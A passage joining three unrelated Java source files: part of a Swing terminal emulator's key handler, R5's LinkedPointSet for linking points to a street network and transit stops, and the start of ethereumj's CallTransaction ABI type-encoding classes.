public void setScrollingEnabled(boolean scrollingEnabled) {
myScrollingEnabled = scrollingEnabled;
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
updateScrolling();
}
});
}
@Override
public void setBlinkingCursor(boolean enabled) {
myCursor.setBlinking(enabled);
}
public TerminalCursor getTerminalCursor() {
return myCursor;
}
public TerminalOutputStream getTerminalOutputStream() {
return myTerminalStarter;
}
@Override
public void setWindowTitle(String name) {
myWindowTitle = name;
}
public void setSelectionColor(TextStyle selectionColor) {
mySelectionColor = selectionColor;
}
public class TerminalKeyHandler implements KeyListener {
private final TerminalStarter myTerminalStarter;
private SystemSettingsProvider mySettingsProvider;
public TerminalKeyHandler(TerminalStarter terminalStarter, SystemSettingsProvider settingsProvider) {
myTerminalStarter = terminalStarter;
mySettingsProvider = settingsProvider;
}
public void keyPressed(final KeyEvent e) {
try {
if (isCopyKeyStroke(e)) {
handleCopy();
return;
}
if (isPasteKeyStroke(e)) {
handlePaste();
return;
}
if (isNewSessionKeyStroke(e)) {
handleNewSession(e);
}
final int keycode = e.getKeyCode();
final byte[] code = myTerminalStarter.getCode(keycode);
if (code != null) {
myTerminalStarter.sendBytes(code);
}
else {
final char keychar = e.getKeyChar();
final byte[] obuffer = new byte[1];
if ((keychar & 0xff00) == 0) {
obuffer[0] = (byte)e.getKeyChar();
myTerminalStarter.sendBytes(obuffer);
}
}
}
catch (final Exception ex) {
LOG.error("Error sending key to emulator", ex);
}
}
private void handleNewSession(KeyEvent e) {
mySettingsProvider.getNewSessionAction().actionPerformed(new ActionEvent(e.getSource(), e.getID(), "Paste", e.getModifiers()));
}
public void keyTyped(final KeyEvent e) {
final char keychar = e.getKeyChar();
if ((keychar & 0xff00) != 0) {
final char[] foo = new char[1];
foo[0] = keychar;
try {
myTerminalStarter.sendString(new String(foo));
}
catch (final RuntimeException ex) {
LOG.error("Error sending key to emulator", ex);
}
}
}
//Ignore releases
public void keyReleased(KeyEvent e) {
}
}
private void handlePaste() {
pasteSelection();
}
private void handleCopy() {
if (mySelection != null) {
copySelection(mySelection.getStart(), mySelection.getEnd());
mySelection = null;
repaint();
}
}
private boolean isNewSessionKeyStroke(KeyEvent event) {
for (KeyStroke ks : mySettingsProvider.getNewSessionKeyStrokes()) {
if (ks.equals(KeyStroke.getKeyStrokeForEvent(event))) {
return true;
}
}
return false;
}
private boolean isCopyKeyStroke(KeyEvent event) {
if (mySelection == null) {
return false;
}
for (KeyStroke ks : mySettingsProvider.getCopyKeyStrokes()) {
if (ks.equals(KeyStroke.getKeyStrokeForEvent(event))) {
return true;
}
}
return false;
}
private boolean isPasteKeyStroke(KeyEvent event) {
for (KeyStroke ks : mySettingsProvider.getPasteKeyStrokes()) {
if (ks.equals(KeyStroke.getKeyStrokeForEvent(event))) {
return true;
}
}
return false;
}
}
|
package com.conveyal.r5.streets;
import com.conveyal.r5.analyst.PointSet;
import com.conveyal.r5.analyst.WebMercatorGridPointSet;
import com.conveyal.r5.common.GeometryUtils;
import com.conveyal.r5.transit.TransitLayer;
import com.conveyal.r5.profile.StreetMode;
import com.conveyal.r5.util.LambdaCounter;
import com.vividsolutions.jts.geom.*;
import gnu.trove.list.TIntList;
import gnu.trove.list.array.TIntArrayList;
import gnu.trove.map.TIntIntMap;
import gnu.trove.map.hash.TIntIntHashMap;
import com.conveyal.r5.streets.EdgeStore.Edge;
import gnu.trove.set.TIntSet;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import static com.conveyal.r5.streets.StreetRouter.State.RoutingVariable;
import static com.conveyal.r5.transit.TransitLayer.WALK_DISTANCE_LIMIT_METERS;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
/**
* A LinkedPointSet is a PointSet that has been connected to a StreetLayer in a non-destructive, reversible way.
* For each feature in the PointSet, we record the closest edge and the distance to the vertices at the ends of that
* edge (like a Splice or a Sample in OTP).
*/
public class LinkedPointSet implements Serializable {
private static final Logger LOG = LoggerFactory.getLogger(LinkedPointSet.class);
/**
* LinkedPointSets are long-lived and not extremely numerous, so we keep references to the objects it was built
* from. Besides these fields are useful for later processing of LinkedPointSets.
*/
public final PointSet pointSet;
/**
* We need to retain the street layer so we can look up edge endpoint vertices for the edge IDs. Besides, this
* object is inextricably linked to one street network.
*/
public final StreetLayer streetLayer;
/**
* The linkage may be different depending on what mode of travel one uses to reach the points from transit stops.
* Along with the PointSet and StreetLayer this mode is what determines the contents of a particular
* LinkedPointSet.
*/
public final StreetMode streetMode;
static final int BICYCLE_DISTANCE_LINKING_LIMIT_METERS = 5000;
static final int CAR_TIME_LINKING_LIMIT_SECONDS = 30 * 60;
static final int MAX_CAR_SPEED_METERS_PER_SECOND = 44; // ~160 kilometers per hour
/**
* Limit to use when building linkageCostTables, re-calculated for different streetModes as needed, using the
* constants specified above. The value should be larger than any per-leg street mode limits that can be requested
* in the UI.
*/
int linkingDistanceLimitMeters = WALK_DISTANCE_LIMIT_METERS;
static final int OFF_STREET_SPEED_MILLIMETERS_PER_SECOND = (int) (1.3f * 1000);
/**
* For each point, the closest edge in the street layer. This is in fact the even (forward) edge ID of the closest
* edge pairs.
*/
public int[] edges;
/**
* For each point, distance from the beginning vertex of the edge geometry up to the split point (closest point on
* the edge to the point to be linked), plus the distance from the linked point to the split point
*/
public int[] distances0_mm;
/**
* For each point, distance from the end vertex of the edge geometry up to the split point (closest point on the
* edge to the point to be linked), plus the distance from the linked point to the split point
*/
public int[] distances1_mm;
// TODO Refactor following three to own class
/** For each transit stop, the distances (or times) to nearby PointSet points as packed (point_index, distance)
* pairs. */
public List<int[]> stopToPointLinkageCostTables;
/**
* For each pointset point, the stops reachable without using transit, as a map from StopID to distance. For walk
* and bike, distance is in millimeters; for car, distance is actually time in seconds. Inverted version of
* stopToPointLinkageCostTables. This is used in PerTargetPropagator to find all the stops near a particular point
* (grid cell) so we can perform propagation to that grid cell only. We only retain a few percentiles of travel
* time at each target cell, so doing one cell at a time allows us to keep the output size within reason.
*/
public transient List<TIntIntMap> pointToStopLinkageCostTables;
/**
* By default, linkage costs are distances (between stops and pointset points). For modes where speeds vary
* by link, it doesn't make sense to store distances, so we store times.
*/
public RoutingVariable linkageCostUnit = RoutingVariable.DISTANCE_MILLIMETERS;
/**
* A LinkedPointSet is a PointSet that has been pre-connected to a StreetLayer in a non-destructive, reversible way.
* These objects are long-lived and not extremely numerous, so we keep references to the objects it was built from.
* Besides they are useful for later processing of LinkedPointSets. However once we start evicting
* TransportNetworks, we have to make sure we're not holding references to entire StreetLayers in LinkedPointSets
* (memory leak).
* @param pointSet Points to be linked (e.g. web mercator grid, or eventually centroids)
* @param streetLayer Streets to which the points should be linked
* @param streetMode Mode by which to connect with and traverse the street network (e.g. from points to stops)
* @param baseLinkage Linkage for the base StreetLayer of the supplied streetLayer. If not null, it should have
* the same pointSet and streetMode as the preceding arguments.
*/
public LinkedPointSet (PointSet pointSet, StreetLayer streetLayer, StreetMode streetMode, LinkedPointSet baseLinkage) {
LOG.info("Linking pointset to street network...");
this.pointSet = pointSet;
this.streetLayer = streetLayer;
this.streetMode = streetMode;
final int nPoints = pointSet.featureCount();
final int nStops = streetLayer.parentNetwork.transitLayer.getStopCount();
// The regions within which we want to link points to edges, then connect transit stops to points.
// Null means relink and rebuild everything, but this will be constrained below if a base linkage was supplied.
Geometry linkageCostRebuildZone = null;
// TODO general purpose method to check compatability
// The supplied baseLinkage must be for exactly the same pointSet as the linkage we're creating.
// This constructor expects them to have the same number of entries for the exact same geographic points.
// The supplied base linkage should be for the same mode, and for the base street network of this street network.
if (baseLinkage != null) {
if (baseLinkage.pointSet != pointSet) {
throw new AssertionError("baseLinkage must be for the same pointSet as the linkage being created.");
}
if (baseLinkage.streetMode != streetMode) {
throw new AssertionError("baseLinkage must be for the same mode as the linkage being created.");
}
if (baseLinkage.streetLayer != streetLayer.baseStreetLayer) {
throw new AssertionError("baseLinkage must be for the baseStreetLayer of the streetLayer of the linkage being created.");
}
}
if (baseLinkage == null) {
edges = new int[nPoints];
distances0_mm = new int[nPoints];
distances1_mm = new int[nPoints];
stopToPointLinkageCostTables = new ArrayList<>();
} else {
// The caller has supplied an existing linkage for a scenario StreetLayer's base StreetLayer.
// We want to re-use most of that that existing linkage to reduce linking time.
LOG.info("Linking a subset of points and copying other linkages from an existing base linkage.");
LOG.info("The base linkage is for street mode {}", baseLinkage.streetMode);
// Copy the supplied base linkage into this new LinkedPointSet.
// The new linkage has the same PointSet as the base linkage, so the linkage arrays remain the same length
// stopToVertexDistanceTables list might need to grow.
// TODO add assertion that arrays may grow but will never shrink. Check expected array lengths.
edges = Arrays.copyOf(baseLinkage.edges, nPoints);
distances0_mm = Arrays.copyOf(baseLinkage.distances0_mm, nPoints);
distances1_mm = Arrays.copyOf(baseLinkage.distances1_mm, nPoints);
stopToPointLinkageCostTables = new ArrayList<>(baseLinkage.stopToPointLinkageCostTables);
// TODO We need to determine which points to re-link and which stops should have their stop-to-point tables re-built.
// This should be all the points within the (bird-fly) linking radius of any modified edge.
// The stop-to-vertex trees should already be rebuilt elsewhere when applying the scenario.
// This should be all the stops within the (network or bird-fly) tree radius of any modified edge, including
// And build trees from stops to points.
// Even though currently the only changes to the street network are re-splitting edges to connect new
// transit stops, we still need to re-link points and rebuild stop trees (both the trees to the vertices
// and the trees to the points, because some existing stop-to-vertex trees might not include new splitter
// vertices).
if (streetMode == StreetMode.WALK) {
// limit already set for WALK.
} else if (streetMode == StreetMode.BICYCLE) {
linkingDistanceLimitMeters = BICYCLE_DISTANCE_LINKING_LIMIT_METERS;
} else if (streetMode == StreetMode.CAR) {
linkingDistanceLimitMeters = CAR_TIME_LINKING_LIMIT_SECONDS * MAX_CAR_SPEED_METERS_PER_SECOND;
} else {
throw new UnsupportedOperationException("Unrecognized streetMode");
}
linkageCostRebuildZone = streetLayer.scenarioEdgesBoundingGeometry(linkingDistanceLimitMeters);
}
// If dealing with a scenario, pad out the stop trees list from the base linkage to match the new stop count.
// If dealing with a base network linkage, fill the stop trees list entirely with nulls.
while (stopToPointLinkageCostTables.size() < nStops) stopToPointLinkageCostTables.add(null);
// First, link the points in this PointSet to specific street vertices.
// If no base linkage was supplied, parameter will evaluate to true and all points will be linked from scratch.
this.linkPointsToStreets(baseLinkage == null);
// Second, make a table of linkage costs (distance or time) from each transit stop to the points in this
// PointSet.
this.makeStopToPointLinkageCostTables(linkageCostRebuildZone);
}
/**
* Construct a new LinkedPointSet for a grid that falls entirely within an existing grid LinkedPointSet.
*
* @param sourceLinkage a LinkedPointSet whose PointSet must be a WebMercatorGridPointset
* @param subGrid the grid for which to create a linkage
*/
public LinkedPointSet (LinkedPointSet sourceLinkage, WebMercatorGridPointSet subGrid) {
if (!(sourceLinkage.pointSet instanceof WebMercatorGridPointSet)) {
throw new IllegalArgumentException("Source linkage must be for a gridded point set.");
}
WebMercatorGridPointSet superGrid = (WebMercatorGridPointSet) sourceLinkage.pointSet;
if (superGrid.zoom != subGrid.zoom) {
throw new IllegalArgumentException("Source and sub-grid zoom level do not match.");
}
if (subGrid.west + subGrid.width < superGrid.west //sub-grid is entirely west of super-grid
|| superGrid.west + superGrid.width < subGrid.west // super-grid is entirely west of sub-grid
|| subGrid.north + subGrid.height < superGrid.north //sub-grid is entirely north of super-grid (note Web Mercator conventions)
|| superGrid.north + superGrid.height < subGrid.north) { //super-grid is entirely north of sub-grid
LOG.warn("Sub-grid is entirely outside the super-grid. Points will not be linked to any street edges.");
}
// Initialize the fields of the new LinkedPointSet instance.
// Most characteristics are the same, but the new linkage is for the subset of points in the subGrid.
pointSet = subGrid;
streetLayer = sourceLinkage.streetLayer;
streetMode = sourceLinkage.streetMode;
int nCells = subGrid.width * subGrid.height;
edges = new int[nCells];
distances0_mm = new int[nCells];
distances1_mm = new int[nCells];
// Copy values over from the source linkage to the new sub-linkage
// x, y, and pixel are relative to the new linkage
for (int y = 0, pixel = 0; y < subGrid.height; y++) {
for (int x = 0; x < subGrid.width; x++, pixel++) {
int sourceColumn = subGrid.west + x - superGrid.west;
int sourceRow = subGrid.north + y - superGrid.north;
if (sourceColumn < 0 || sourceColumn >= superGrid.width || sourceRow < 0 || sourceRow >= superGrid.height) { //point is outside super-grid
//Set the edge value to -1 to indicate no linkage.
//Distances should never be read downstream, so they don't need to be set here.
edges[pixel] = -1;
} else { //point is inside super-grid
int sourcePixel = sourceRow * superGrid.width + sourceColumn;
edges[pixel] = sourceLinkage.edges[sourcePixel];
distances0_mm[pixel] = sourceLinkage.distances0_mm[sourcePixel];
distances1_mm[pixel] = sourceLinkage.distances1_mm[sourcePixel];
}
}
}
stopToPointLinkageCostTables = sourceLinkage.stopToPointLinkageCostTables.stream()
.map(distanceTable -> {
if (distanceTable == null) return null; // if it was previously unlinked, it is still unlinked
TIntList newDistanceTable = new TIntArrayList();
for (int i = 0; i < distanceTable.length; i += 2) {
int targetInSuperLinkage = distanceTable[i];
int distance = distanceTable[i + 1];
int superX = targetInSuperLinkage % superGrid.width;
int superY = targetInSuperLinkage / superGrid.width;
int subX = superX + superGrid.west - subGrid.west;
int subY = superY + superGrid.north - subGrid.north;
if (subX >= 0 && subX < subGrid.width && subY >= 0 && subY < subGrid.height) {
// only retain connections to points that fall within the subGrid
int targetInSubLinkage = subY * subGrid.width + subX;
newDistanceTable.add(targetInSubLinkage);
newDistanceTable.add(distance); // distance to target does not change when we crop the pointset
}
}
if (newDistanceTable.isEmpty()) return null; // not near any points in sub pointset
else return newDistanceTable.toArray();
})
.collect(Collectors.toList());
}
/**
* Associate the points in this PointSet with the street vertices at the ends of the closest street edge.
*
* @param all If true, link all points, otherwise link only those that were previously connected to edges that have
* been deleted (i.e. split). We will need to change this behavior when we allow creating new edges
* rather than simply splitting existing ones.
*/
private void linkPointsToStreets (boolean all) {
LambdaCounter counter = new LambdaCounter(LOG, pointSet.featureCount(), 10000,
"Linked {} of {} PointSet points to streets.");
// Perform linkage calculations in parallel, writing results to the shared parallel arrays.
IntStream.range(0, pointSet.featureCount()).parallel().forEach(p -> {
// When working with a scenario, skip all points that are not linked to a deleted street (i.e. one that has
// been split). At the current time, the only street network modification we support is splitting existing streets,
// so the only way a point can need to be relinked is if it is connected to a street which was split (and therefore deleted).
// FIXME when we permit street network modifications beyond adding transit stops we will need to change how this works,
// we may be able to use some type of flood-fill algorithm in geographic space, expanding the relink envelope until we
// hit edges on all sides or reach some predefined maximum.
if (all || (streetLayer.edgeStore.temporarilyDeletedEdges != null &&
streetLayer.edgeStore.temporarilyDeletedEdges.contains(edges[p]))) {
// Use radius from StreetLayer such that maximum origin and destination walk distances are symmetric.
Split split = streetLayer.findSplit(pointSet.getLat(p), pointSet.getLon(p),
StreetLayer.LINK_RADIUS_METERS, streetMode);
if (split == null) {
edges[p] = -1;
} else {
edges[p] = split.edge;
distances0_mm[p] = split.distance0_mm;
distances1_mm[p] = split.distance1_mm;
}
counter.increment();
}
});
long unlinked = Arrays.stream(edges).filter(e -> e == -1).count();
counter.done();
LOG.info("{} points are not linked to the street network.", unlinked);
}
/** @return the number of linkages, which should be the same as the number of points in the PointSet. */
public int size () {
return edges.length;
}
/**
* A functional interface for fetching the travel time to any street vertex in the transport network. Note that
* TIntIntMap::get matches this functional interface. There may be a generic IntToIntFunction library interface
* somewhere, but this interface provides type information about what the function and its parameters mean.
*/
@FunctionalInterface
public static interface TravelTimeFunction {
/**
* @param vertexId the index of a vertex in the StreetLayer of a TransitNetwork.
* @return the travel time to the given street vertex, or Integer.MAX_VALUE if the vertex is unreachable.
*/
public int getTravelTime (int vertexId);
}
@Deprecated
public PointSetTimes eval (TravelTimeFunction travelTimeForVertex) {
// R5 used to not differentiate between seconds and meters, preserve that behavior in this deprecated function
// by using 1 m / s
return eval(travelTimeForVertex, 1000, 1000);
}
/**
*
* @param travelTimeForVertex returning the time required to reach a vertex, in seconds
* @param onStreetSpeed speed at which the first/last edge is traversed, in millimeters per second. If null, look
* up CAR speed on the edge.
* @param offStreetSpeed travel speed between the first/last edge and the pointset point, in millimeters per
* second. Generally walking (we don't account for off-street parking not specified in OSM)
* @return wrapped int[] of travel times (in seconds) to reach the pointset points
*/
public PointSetTimes eval (TravelTimeFunction travelTimeForVertex, Integer onStreetSpeed, int offStreetSpeed) {
int[] travelTimes = new int[edges.length];
// Iterate over all locations in this temporary vertex list.
EdgeStore.Edge edge = streetLayer.edgeStore.getCursor();
for (int i = 0; i < edges.length; i++) {
if (edges[i] < 0) {
travelTimes[i] = Integer.MAX_VALUE;
continue;
}
edge.seek(edges[i]);
int time0 = travelTimeForVertex.getTravelTime(edge.getFromVertex());
int time1 = travelTimeForVertex.getTravelTime(edge.getToVertex());
if (time0 == Integer.MAX_VALUE && time1 == Integer.MAX_VALUE) {
travelTimes[i] = Integer.MAX_VALUE;
continue;
}
int edgeLength = edge.getLengthMm();
// If the linked street edge for point D has vertices A and B, distance0 and distance1 both include the
// distance from split point C to D, double-counting the off-street distance. So in the equation below,
// divide by 2. An alternative approach would add an additional array to this class to store the
// off-street component. Testing would help gauge that speed/memory tradeoff.
int offstreetTime = (distances0_mm[i] + distances1_mm[i] - edgeLength) / 2 / offStreetSpeed;
// If a null onStreetSpeed is supplied, look up the speed for cars
if (onStreetSpeed == null) {
onStreetSpeed = (int) (edge.getCarSpeedMetersPerSecond() * 1000);
}
if (time0 != Integer.MAX_VALUE) {
time0 += (edgeLength - distances0_mm[i]) / onStreetSpeed + offstreetTime;
}
if (time1 != Integer.MAX_VALUE) {
time1 += (edgeLength - distances1_mm[i]) / onStreetSpeed + offstreetTime;
}
travelTimes[i] = time0 < time1 ? time0 : time1;
}
return new PointSetTimes(pointSet, travelTimes);
}
/**
* Given a table of distances to street vertices from a particular transit stop, create a table of distances to
* points in this PointSet from the same transit stop. All points outside the distanceTableZone are skipped as an
* optimization. See JavaDoc on the caller makeStopToPointLinkageCostTables - this is one of the slowest parts of
* building a network.
*
* @return A packed array of (pointIndex, distanceMillimeters)
*/
private int[] extendDistanceTableToPoints (TIntIntMap distanceTableToVertices, Envelope distanceTableZone) {
int nPoints = this.size();
TIntIntMap distanceToPoint = new TIntIntHashMap(nPoints, 0.5f, Integer.MAX_VALUE, Integer.MAX_VALUE);
Edge edge = streetLayer.edgeStore.getCursor();
TIntSet relevantPoints = pointSet.spatialIndex.query(distanceTableZone);
relevantPoints.forEach(p -> {
// An edge index of -1 for a particular point indicates that this point is unlinked
if (edges[p] == -1) return true;
edge.seek(edges[p]);
int t1 = Integer.MAX_VALUE, t2 = Integer.MAX_VALUE;
// TODO this is not strictly correct when there are turn restrictions onto the edge this is linked to
if (distanceTableToVertices.containsKey(edge.getFromVertex())) {
t1 = distanceTableToVertices.get(edge.getFromVertex()) + distances0_mm[p];
}
if (distanceTableToVertices.containsKey(edge.getToVertex())) {
t2 = distanceTableToVertices.get(edge.getToVertex()) + distances1_mm[p];
}
int t = Math.min(t1, t2);
if (t != Integer.MAX_VALUE) {
if (t < distanceToPoint.get(p)) {
distanceToPoint.put(p, t);
}
}
return true; // Continue iteration.
});
if (distanceToPoint.size() == 0) {
return null;
}
// Convert a packed array of pairs.
// TODO don't put in a list and convert to array, just make an array.
TIntList packed = new TIntArrayList(distanceToPoint.size() * 2);
distanceToPoint.forEachEntry((point, distance) -> {
packed.add(point);
packed.add(distance);
return true; // Continue iteration.
});
return packed.toArray();
}
/**
* For each transit stop in the associated TransportNetwork, make a table of distances to nearby points in this
* PointSet.
* At one point we experimented with doing the entire search from the transit stops all the way up to the points
* within this method. However, that takes too long when switching PointSets. So we pre-cache distances to all
* street vertices in the TransitNetwork, and then just extend those tables to the points in the PointSet.
* This is one of the slowest steps in working with a new scenario. It takes about 50 seconds to link 400000 points.
* The run time is not shocking when you consider the complexity of the operation: there are nStops * nPoints
* iterations, which is 8000 * 400000 in the example case. This means 6 msec per transit stop, or 2e-8 sec per point
* iteration, which is not horribly slow. There are just too many iterations.
*
* @param treeRebuildZone only build trees for stops inside this geometry in FIXED POINT DEGREES, leaving all the
* others alone. If null, build trees for all stops.
*/
public void makeStopToPointLinkageCostTables(Geometry treeRebuildZone) {
LOG.info("Creating linkage cost tables from each transit stop to PointSet points.");
// FIXME this is wasting a lot of memory and not needed for gridded pointsets - overload for gridded and freeform PointSets
pointSet.createSpatialIndexAsNeeded();
if (treeRebuildZone != null) {
LOG.info("Selectively computing tables for only those stops that might be affected by the scenario.");
}
TransitLayer transitLayer = streetLayer.parentNetwork.transitLayer;
int nStops = transitLayer.getStopCount();
LambdaCounter counter = new LambdaCounter(LOG, nStops, 1000,
"Computed distances to PointSet points from {} of {} transit stops.");
// Create a distance table from each transit stop to the points in this PointSet in parallel.
// When applying a scenario, keep the existing distance table for those stops that could not be affected.
stopToPointLinkageCostTables = IntStream.range(0, nStops).parallel().mapToObj(stopIndex -> {
Point stopPoint = transitLayer.getJTSPointForStopFixed(stopIndex);
// If the stop is not linked to the street network, it should have no distance table.
if (stopPoint == null) return null;
if (treeRebuildZone != null && !treeRebuildZone.contains(stopPoint)) {
// This stop is not affected by the scenario. Return the existing distance table.
// all stops outside the relink zone should already have a distance table entry.
if (stopIndex >= stopToPointLinkageCostTables.size()) {
throw new AssertionError("A stop created by a scenario is located outside relink zone.");
}
return stopToPointLinkageCostTables.get(stopIndex);
}
Envelope distanceTableZone = stopPoint.getEnvelopeInternal();
GeometryUtils.expandEnvelopeFixed(distanceTableZone, linkingDistanceLimitMeters);
int[] linkageCostToPoints;
if (streetMode == StreetMode.WALK) {
// Walking distances from stops to street vertices are saved in the transitLayer.
// Get the pre-computed distance table from the stop to the street vertices,
// then extend that table out from the street vertices to the points in this PointSet.
TIntIntMap distanceTableToVertices = transitLayer.stopToVertexDistanceTables.get(stopIndex);
linkageCostToPoints = distanceTableToVertices == null ? null :
extendDistanceTableToPoints(distanceTableToVertices, distanceTableZone);
} else {
StreetRouter sr = new StreetRouter(transitLayer.parentNetwork.streetLayer);
sr.streetMode = streetMode;
sr.setOrigin(transitLayer.streetVertexForStop.get(stopIndex));
if (streetMode == StreetMode.BICYCLE) {
sr.distanceLimitMeters = linkingDistanceLimitMeters;
sr.quantityToMinimize = linkageCostUnit;
sr.route();
linkageCostToPoints = extendDistanceTableToPoints(sr.getReachedVertices(), distanceTableZone);
} else if (streetMode == StreetMode.CAR) {
// The speeds for Walk and Bicycle can be specified in an analysis request, so it makes sense above to
// store distances and apply the requested speed. In contrast, car speeds vary by link and cannot be
// set in analysis requests, so it makes sense to use seconds directly as the linkage cost.
// TODO confirm this works as expected when modifications can affect street layer.
sr.timeLimitSeconds = CAR_TIME_LINKING_LIMIT_SECONDS;
linkageCostUnit = RoutingVariable.DURATION_SECONDS;
sr.quantityToMinimize = linkageCostUnit;
sr.route();
linkageCostToPoints =
eval(sr::getTravelTimeToVertex, null, OFF_STREET_SPEED_MILLIMETERS_PER_SECOND).travelTimes;
} else {
throw new UnsupportedOperationException("Tried to link a pointset with an unsupported street mode");
}
}
counter.increment();
return linkageCostToPoints;
}).collect(Collectors.toList());
counter.done();
}
// FIXME Method and block inside are both synchronized on "this", is that intentional? See comment in internal block.
public synchronized void makePointToStopDistanceTablesIfNeeded () {
if (pointToStopLinkageCostTables != null) return;
synchronized (this) {
// check again in case they were built while waiting on this synchronized block
if (pointToStopLinkageCostTables != null) return;
if (stopToPointLinkageCostTables == null) makeStopToPointLinkageCostTables(null);
TIntIntMap[] result = new TIntIntMap[size()];
for (int stop = 0; stop < stopToPointLinkageCostTables.size(); stop++) {
int[] stopToPointDistanceTable = stopToPointLinkageCostTables.get(stop);
if (stopToPointDistanceTable == null) continue;
for (int idx = 0; idx < stopToPointDistanceTable.length; idx += 2) {
int point = stopToPointDistanceTable[idx];
int distance = stopToPointDistanceTable[idx + 1];
if (result[point] == null) result[point] = new TIntIntHashMap();
result[point].put(stop, distance);
}
}
pointToStopLinkageCostTables = Arrays.asList(result);
}
}
}
|
package org.ethereum.core;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.ethereum.util.ByteUtil;
import org.spongycastle.util.encoders.Hex;
import java.io.IOException;
import java.lang.reflect.Array;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import static java.lang.String.format;
import static org.apache.commons.lang3.ArrayUtils.subarray;
import static org.apache.commons.lang3.StringUtils.stripEnd;
import static org.ethereum.crypto.SHA3Helper.sha3;
import static org.ethereum.util.ByteUtil.longToBytesNoLeadZeroes;
public class CallTransaction {
public static Transaction createRawTransaction(long nonce, long gasPrice, long gasLimit, String toAddress,
long value, byte[] data) {
Transaction tx = new Transaction(longToBytesNoLeadZeroes(nonce),
longToBytesNoLeadZeroes(gasPrice),
longToBytesNoLeadZeroes(gasLimit),
toAddress == null ? null : Hex.decode(toAddress),
longToBytesNoLeadZeroes(value),
data);
return tx;
}
public static Transaction createCallTransaction(long nonce, long gasPrice, long gasLimit, String toAddress,
long value, Function callFunc, Object ... funcArgs) {
byte[] callData = callFunc.encode(funcArgs);
return createRawTransaction(nonce, gasPrice, gasLimit, toAddress, value, callData);
}
/**
* Generic ABI type
*/
public static abstract class Type {
protected String name;
public Type(String name) {
this.name = name;
}
/**
* The type name as it was specified in the interface description
*/
public String getName() {
return name;
}
/**
* The canonical type name (used for the method signature creation)
* E.g. 'int' - canonical 'int256'
*/
public String getCanonicalName() {return getName();}
@JsonCreator
public static Type getType(String typeName) {
if (typeName.contains("[")) return ArrayType.getType(typeName);
if ("bool".equals(typeName)) return new BoolType();
if (typeName.startsWith("int") || typeName.startsWith("uint")) return new IntType(typeName);
if ("address".equals(typeName)) return new AddressType();
if ("string".equals(typeName)) return new StringType();
if ("bytes".equals(typeName)) return new BytesType();
if (typeName.startsWith("bytes")) return new Bytes32Type(typeName);
throw new RuntimeException("Unknown type: " + typeName);
}
/**
* Encodes the value according to specific type rules
* @param value
*/
public abstract byte[] encode(Object value);
public abstract Object decode(byte[] encoded, int offset);
public Object decode(byte[] encoded) {return decode(encoded, 0);}
/**
* @return fixed size in bytes. For the dynamic types returns IntType.getFixedSize()
* which is effectively the int offset to dynamic data
*/
public int getFixedSize() {return 32;}
public boolean isDynamicType() {return false;}
@Override
public String toString() {
return getName();
}
}
public static abstract class ArrayType extends Type {
public static ArrayType getType(String typeName) {
int idx1 = typeName.indexOf("[");
int idx2 = typeName.indexOf("]", idx1);
if (idx1 + 1 == idx2) {
return new DynamicArrayType(typeName);
} else {
return new StaticArrayType(typeName);
}
}
Type elementType;
public ArrayType(String name) {
super(name);
int idx = name.indexOf("[");
String st = name.substring(0, idx);
int idx2 = name.indexOf("]", idx);
String subDim = idx2 + 1 == name.length() ? "" : name.substring(idx2 + 1);
elementType = Type.getType(st + subDim);
}
@Override
public byte[] encode(Object value) {
if (value.getClass().isArray()) {
List<Object> elems = new ArrayList<>();
for (int i = 0; i < Array.getLength(value); i++) {
elems.add(Array.get(value, i));
}
return encodeList(elems);
} else if (value instanceof List) {
return encodeList((List) value);
} else {
throw new RuntimeException("List value expected for type " + getName());
}
}
public abstract byte[] encodeList(List l);
}
public static class StaticArrayType extends ArrayType {
int size;
public StaticArrayType(String name) {
super(name);
int idx1 = name.indexOf("[");
int idx2 = name.indexOf("]", idx1);
String dim = name.substring(idx1 + 1, idx2);
size = Integer.parseInt(dim);
}
@Override
public String getCanonicalName() {
return elementType.getCanonicalName() + "[" + size + "]";
}
@Override
public byte[] encodeList(List l) {
if (l.size() != size) throw new RuntimeException("List size (" + l.size() + ") != " + size + " for type " + getName());
byte[][] elems = new byte[size][];
for (int i = 0; i < l.size(); i++) {
elems[i] = elementType.encode(l.get(i));
}
return ByteUtil.merge(elems);
}
@Override
public Object[] decode(byte[] encoded, int offset) {
Object[] result = new Object[size];
for (int i = 0; i < size; i++) {
result[i] = elementType.decode(encoded, offset + i * elementType.getFixedSize());
}
return result;
}
@Override
public int getFixedSize() {
// return negative if elementType is dynamic
return elementType.getFixedSize() * size;
}
}
public static class DynamicArrayType extends ArrayType {
public DynamicArrayType(String name) {
super(name);
}
@Override
public String getCanonicalName() {
return elementType.getCanonicalName() + "[]";
}
@Override
public byte[] encodeList(List l) {
byte[][] elems;
if (elementType.isDynamicType()) {
elems = new byte[l.size() * 2 + 1][];
elems[0] = IntType.encodeInt(l.size());
int offset = l.size() * 32;
for (int i = 0; i < l.size(); i++) {
elems[i + 1] = IntType.encodeInt(offset);
byte[] encoded = elementType.encode(l.get(i));
elems[l.size() + i + 1] = encoded;
offset += 32 * ((encoded.length - 1) / 32 + 1);
}
} else {
elems = new byte[l.size() + 1][];
elems[0] = IntType.encodeInt(l.size());
for (int i = 0; i < l.size(); i++) {
elems[i + 1] = elementType.encode(l.get(i));
}
}
return ByteUtil.merge(elems);
}
@Override
public Object decode(byte[] encoded, int origOffset) {
int len = IntType.decodeInt(encoded, origOffset).intValue();
origOffset += 32;
int offset = origOffset;
Object[] ret = new Object[len];
for (int i = 0; i < len; i++) {
if (elementType.isDynamicType()) {
ret[i] = elementType.decode(encoded, origOffset + IntType.decodeInt(encoded, offset).intValue());
} else {
ret[i] = elementType.decode(encoded, offset);
}
offset += elementType.getFixedSize();
}
return ret;
}
@Override
public boolean isDynamicType() {
return true;
}
}
public static class BytesType extends Type {
protected BytesType(String name) {
super(name);
}
public BytesType() {
super("bytes");
}
@Override
public byte[] encode(Object value) {
if (!(value instanceof byte[])) throw new RuntimeException("byte[] value expected for type 'bytes'");
byte[] bb = (byte[]) value;
byte[] ret = new byte[((bb.length - 1) / 32 + 1) * 32]; // padding 32 bytes
System.arraycopy(bb, 0, ret, 0, bb.length);
